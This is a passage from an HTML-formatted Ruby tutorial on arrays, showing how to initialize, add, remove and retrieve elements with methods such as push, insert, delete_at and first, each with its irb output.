<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">arr</span> <span class="o">=</span> <span class="o">[</span><span class="s2">&#34;A&#34;</span><span class="p">,</span> <span class="s2">&#34;B&#34;</span><span class="p">,</span> <span class="s2">&#34;C&#34;</span><span class="o">]</span>
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; [&#34;A&#34;, &#34;B&#34;, &#34;C&#34;]</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>You can do the above with any type.</p>
<p>Initializing an array of symbols:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">arr</span> <span class="o">=</span> <span class="o">[</span><span class="ss">:A</span><span class="p">,</span> <span class="ss">:B</span><span class="p">,</span> <span class="ss">:C</span><span class="o">]</span>
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; [:A, :B, :C]</span>
</span></span></code></pre></td></tr></table>
</blockquote><h4 id="shorthand-notations">Shorthand Notations</h4>
<p>With shorthand notations there is no need to add quotes for strings or colons for symbols. There&rsquo;s also no need to add commas after each element. Just separate each element with a space.</p>
<p>Initializing an array of strings using <code>%w</code>:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">arr</span> <span class="o">=</span> <span class="sx">%w[A B C D E]</span>
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; [&#34;A&#34;, &#34;B&#34;, &#34;C&#34;, &#34;D&#34;, &#34;E&#34;]</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>Initializing an array of symbols using <code>%i</code>:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">arr</span> <span class="o">=</span> <span class="o">%</span><span class="n">i</span><span class="o">[</span><span class="n">A</span> <span class="n">B</span> <span class="n">C</span> <span class="n">D</span> <span class="n">E</span><span class="o">]</span>
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; [:A, :B, :C, :D, :E]</span>
</span></span></code></pre></td></tr></table>
</blockquote><h2 id="adding-elements">Adding Elements</h2>
<h3 id="at-the-beginning-of-the-array">At the Beginning of the Array</h3>
<p>Add elements to the beginning of the array with <code>unshift()</code> or <code>prepend()</code>, which is an alias for <code>unshift()</code>.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">arr</span> <span class="o">=</span> <span class="o">[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="o">]</span>
</span></span><span class="line"><span class="cl"><span class="n">arr</span><span class="o">.</span><span class="n">unshift</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; [0, 1, 2, 3]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">arr</span>
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; [0, 1, 2, 3]</span>
</span></span></code></pre></td></tr></table>
</blockquote><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">arr</span> <span class="o">=</span> <span class="o">[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="o">]</span>
</span></span><span class="line"><span class="cl"><span class="n">arr</span><span class="o">.</span><span class="n">prepend</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; [0, 1, 2, 3]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">arr</span>
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; [0, 1, 2, 3]</span>
</span></span></code></pre></td></tr></table>
</blockquote><h3 id="at-the-end-of-the-array">At the End of the Array</h3>
<p>Add elements to the end of the array with <code>push()</code> or <code>append()</code>, which is an alias for <code>push()</code>:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">arr</span> <span class="o">=</span> <span class="o">[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="o">]</span>
</span></span><span class="line"><span class="cl"><span class="n">arr</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="mi">4</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">arr</span>
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; [1, 2, 3, 4]</span>
</span></span></code></pre></td></tr></table>
</blockquote><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">a</span> <span class="o">=</span> <span class="o">[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="o">]</span>
</span></span><span class="line"><span class="cl"><span class="n">a</span><span class="o">.</span><span class="n">push</span><span class="p">(</span><span class="mi">4</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">a</span>
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; [1, 2, 3, 4]</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>You can use <code>&lt;&lt;</code> as a shortcut to add elements to the end of an array:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span><span class="lnt">8
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">arr</span> <span class="o">=</span> <span class="o">[]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">arr</span> <span class="o">&lt;&lt;</span> <span class="mi">1</span> <span class="c1"># [1]</span>
</span></span><span class="line"><span class="cl"><span class="n">arr</span> <span class="o">&lt;&lt;</span> <span class="mi">2</span> <span class="c1"># [1, 2]</span>
</span></span><span class="line"><span class="cl"><span class="n">arr</span> <span class="o">&lt;&lt;</span> <span class="mi">3</span> <span class="c1"># [1, 2, 3]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">arr</span>
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; [1, 2, 3]</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>If you add arrays, the arrays added to the first one will be appended in the order in which they are added:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="o">[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="o">]</span> <span class="o">+</span> <span class="o">[</span><span class="mi">4</span><span class="o">]</span>
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; [1, 2, 3, 4]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="o">[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="o">]</span> <span class="o">+</span> <span class="o">[</span><span class="mi">7</span><span class="o">]</span> <span class="o">+</span> <span class="o">[</span><span class="mi">6</span><span class="o">]</span> <span class="o">+</span> <span class="o">[</span><span class="mi">5</span><span class="o">]</span> <span class="o">+</span> <span class="o">[</span><span class="mi">4</span><span class="o">]</span>
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; [1, 2, 3, 7, 6, 5, 4]</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>You can add arrays containing multiple elements and they will be appended:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="o">[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="o">]</span> <span class="o">+</span> <span class="o">[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="o">]</span>
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; [1, 2, 3, 1, 2, 3]</span>
</span></span></code></pre></td></tr></table>
</blockquote><h3 id="at-a-specific-index">At a Specific Index</h3>
<p>Use <code>insert()</code> to add an element at a specific index of an array. The <code>insert()</code> method accepts multiple parameters but the first one must be an index. This method modifies the array in-place.</p>
<p>In this example, <code>&quot;A&quot;</code> is being added at index 2:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">arr</span> <span class="o">=</span> <span class="o">[</span><span class="s2">&#34;A&#34;</span><span class="p">,</span> <span class="s2">&#34;B&#34;</span><span class="p">,</span> <span class="s2">&#34;C&#34;</span><span class="o">]</span>
</span></span><span class="line"><span class="cl"><span class="n">arr</span><span class="o">.</span><span class="n">insert</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="s2">&#34;A&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; [&#34;A&#34;, &#34;B&#34;, &#34;A&#34;, &#34;C&#34;]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">arr</span>
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; [&#34;A&#34;, &#34;B&#34;, &#34;A&#34;, &#34;C&#34;]</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>Multiple elements can be added at once:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">arr</span> <span class="o">=</span> <span class="o">[</span><span class="s2">&#34;A&#34;</span><span class="p">,</span> <span class="s2">&#34;B&#34;</span><span class="p">,</span> <span class="s2">&#34;C&#34;</span><span class="o">]</span>
</span></span><span class="line"><span class="cl"><span class="n">arr</span><span class="o">.</span><span class="n">insert</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="s2">&#34;Z&#34;</span><span class="p">,</span> <span class="s2">&#34;Z&#34;</span><span class="p">,</span> <span class="s2">&#34;Z&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; [&#34;A&#34;, &#34;B&#34;, &#34;Z&#34;, &#34;Z&#34;, &#34;Z&#34;, &#34;C&#34;]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">arr</span>
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; [&#34;A&#34;, &#34;B&#34;, &#34;Z&#34;, &#34;Z&#34;, &#34;Z&#34;, &#34;C&#34;]</span>
</span></span></code></pre></td></tr></table>
</blockquote><h2 id="removing-elements">Removing Elements</h2>
<h3 id="at-the-beginning-of-the-array-1">At the Beginning of the Array</h3>
<p>Remove an element from the beginning of an array with <code>shift()</code>. This method returns the removed element and modifies the array in-place:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">arr</span> <span class="o">=</span> <span class="o">[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="o">]</span>
</span></span><span class="line"><span class="cl"><span class="n">arr</span><span class="o">.</span><span class="n">shift</span>
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; 1</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">arr</span>
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; [2, 3]</span>
</span></span></code></pre></td></tr></table>
</blockquote><h3 id="at-the-end-of-the-array-1">At the End of the Array</h3>
<p>Remove an element from the end of the array with <code>pop()</code>. This method returns the removed element and modifies the array in-place:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">arr</span> <span class="o">=</span> <span class="o">[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="o">]</span>
</span></span><span class="line"><span class="cl"><span class="n">arr</span><span class="o">.</span><span class="n">pop</span>
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; 3</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">arr</span>
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; [1, 2]</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>Delete all instances of an element by passing in that element to <code>delete()</code>. This method returns the removed element and modifies the array in-place:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">arr</span> <span class="o">=</span> <span class="o">[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">3</span><span class="o">]</span>
</span></span><span class="line"><span class="cl"><span class="n">arr</span><span class="o">.</span><span class="n">delete</span><span class="p">(</span><span class="mi">3</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; 3</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">arr</span>
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; [1, 2]</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>Attempting to delete an element that isn&rsquo;t present returns <code>nil</code>:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">arr</span> <span class="o">=</span> <span class="o">[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">3</span><span class="o">]</span>
</span></span><span class="line"><span class="cl"><span class="n">arr</span><span class="o">.</span><span class="n">delete</span><span class="p">(</span><span class="mi">5</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; nil</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>Note that you cannot delete multiple values in one call of <code>delete()</code>. But it is possible to do it by subtracting arrays. Keep reading after this example to see how:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">arr</span> <span class="o">=</span> <span class="o">[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">3</span><span class="o">]</span>
</span></span><span class="line"><span class="cl"><span class="n">arr</span><span class="o">.</span><span class="n">delete</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">3</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># (irb):83:in `delete&#39;: wrong number of arguments (given 3, expected 1) (ArgumentError)</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>You can subtract an array to remove all occurrences of an element and get the resulting array as a return value, but it does not modify the array in-place:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">arr</span> <span class="o">=</span> <span class="o">[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">3</span><span class="o">]</span>
</span></span><span class="line"><span class="cl"><span class="n">arr</span> <span class="o">-</span> <span class="o">[</span><span class="mi">3</span><span class="o">]</span>
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; [1, 2]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">arr</span>
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; [1, 2, 3, 3, 3]</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>Subtracted arrays can have multiple elements:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="o">[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">4</span><span class="p">,</span> <span class="mi">4</span><span class="p">,</span> <span class="mi">5</span><span class="p">,</span> <span class="mi">5</span><span class="p">,</span> <span class="mi">6</span><span class="p">,</span> <span class="mi">6</span><span class="p">,</span> <span class="mi">7</span><span class="p">,</span> <span class="mi">7</span><span class="o">]</span> <span class="o">-</span> <span class="o">[</span><span class="mi">4</span><span class="p">,</span> <span class="mi">5</span><span class="p">,</span> <span class="mi">6</span><span class="o">]</span>
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; [1, 2, 3, 7, 7]</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>Subtracting arrays with elements that aren&rsquo;t present in the first array does nothing:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="o">[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="o">]</span> <span class="o">-</span> <span class="o">[</span><span class="mi">4</span><span class="o">]</span>
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; [1, 2, 3]</span>
</span></span></code></pre></td></tr></table>
</blockquote><h3 id="at-a-specific-index-1">At a Specific Index</h3>
<p>We can delete an element at a specific index using <code>delete_at(index)</code>. The <code>delete_at()</code> method returns the element that is removed. Passing in an index that is out of bounds returns <code>nil</code>:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span><span class="lnt">8
</span><span class="lnt">9
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">arr</span> <span class="o">=</span> <span class="o">[</span><span class="s2">&#34;A&#34;</span><span class="p">,</span> <span class="s2">&#34;B&#34;</span><span class="p">,</span> <span class="s2">&#34;C&#34;</span><span class="o">]</span>
</span></span><span class="line"><span class="cl"><span class="n">arr</span><span class="o">.</span><span class="n">delete_at</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; &#34;B&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">arr</span>
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; [&#34;A&#34;, &#34;C&#34;]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">arr</span><span class="o">.</span><span class="n">delete_at</span><span class="p">(</span><span class="mi">100</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; nil</span>
</span></span></code></pre></td></tr></table>
</blockquote><h2 id="retrieving-elements">Retrieving Elements</h2>
<h3 id="element-at-a-specific-index">Element at a Specific Index</h3>
<p>Like in most programming languages, an element can be retrieved using <code>my_array[index]</code> where <code>index</code> is an integer.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">arr</span> <span class="o">=</span> <span class="o">[</span><span class="s2">&#34;A&#34;</span><span class="p">,</span> <span class="s2">&#34;B&#34;</span><span class="p">,</span> <span class="s2">&#34;C&#34;</span><span class="o">]</span>
</span></span><span class="line"><span class="cl"><span class="n">arr</span><span class="o">[</span><span class="mi">1</span><span class="o">]</span>
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; &#34;B&#34;</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>We can also use <code>at()</code> to get the element at a certain index. It works the same way as the previous example:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">arr</span> <span class="o">=</span> <span class="o">[</span><span class="s2">&#34;A&#34;</span><span class="p">,</span> <span class="s2">&#34;B&#34;</span><span class="p">,</span> <span class="s2">&#34;C&#34;</span><span class="o">]</span>
</span></span><span class="line"><span class="cl"><span class="n">arr</span><span class="o">.</span><span class="n">at</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; &#34;B&#34;</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>Negative indexes start at the end of the array.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">arr</span> <span class="o">=</span> <span class="o">[</span><span class="s2">&#34;A&#34;</span><span class="p">,</span> <span class="s2">&#34;B&#34;</span><span class="p">,</span> <span class="s2">&#34;C&#34;</span><span class="o">]</span>
</span></span><span class="line"><span class="cl"><span class="n">arr</span><span class="o">[-</span><span class="mi">1</span><span class="o">]</span>
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; &#34;C&#34;</span>
</span></span><span class="line"><span class="cl"><span class="n">arr</span><span class="o">[-</span><span class="mi">2</span><span class="o">]</span>
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; &#34;B&#34;</span>
</span></span><span class="line"><span class="cl"><span class="n">arr</span><span class="o">[-</span><span class="mi">3</span><span class="o">]</span>
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; &#34;A&#34;</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>Out of bounds indexes return <code>nil</code>:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">arr</span> <span class="o">=</span> <span class="o">[</span><span class="s2">&#34;A&#34;</span><span class="p">,</span> <span class="s2">&#34;B&#34;</span><span class="p">,</span> <span class="s2">&#34;C&#34;</span><span class="o">]</span>
</span></span><span class="line"><span class="cl"><span class="n">arr</span><span class="o">[</span><span class="mi">5</span><span class="o">]</span>
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; nil</span>
</span></span><span class="line"><span class="cl"><span class="n">arr</span><span class="o">[-</span><span class="mi">4</span><span class="o">]</span>
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; nil</span>
</span></span></code></pre></td></tr></table>
</blockquote><h3 id="the-first-element">The First Element</h3>
<p>There is a handy <code>first()</code> method to retrieve the first element of an array:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">arr</span> <span class="o">=</span> <span class="o">[</span><span class="s2">&#34;A&#34;</span><span class="p">,</span> <span class="s2">&#34;B&#34;</span><span class="p">,</span> <span class="s2">&#34;C&#34;</span><span class="o">]</span>
</span></span><span class="line"><span class="cl"><span class="n">arr</span><span class="o">.</span><span class="n">first</span> <span class="c1"># equivalent to arr[0]</span>
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; &#34;A&#34;</span>
</span></span></code></pre></td></tr></table>
</blockquote><h3 id="the-last-element">The Last Element</h3>
<p>There&rsquo;s also a <code>last()</code> method to retrieve the last element of an array:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="n">arr</span> <span class="o">=</span> <span class="o">[</span><span class="s2">&#34;A&#34;</span><span class="p">,</span> <span class="s2">&#34;B&#34;</span><span class="p">,</span> <span class="s2">&#34;C&#34;</span><span class="o">]</span>
</span></span><span class="line"><span class="cl"><span class="n">arr</span><span class="o">.</span><span class="n">last</span>
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; &#34;C&#34;</span>
</span></span></code></pre></td></tr></table>
</blockquote><h3 id="range-of-elements">Range of Elements</h3>
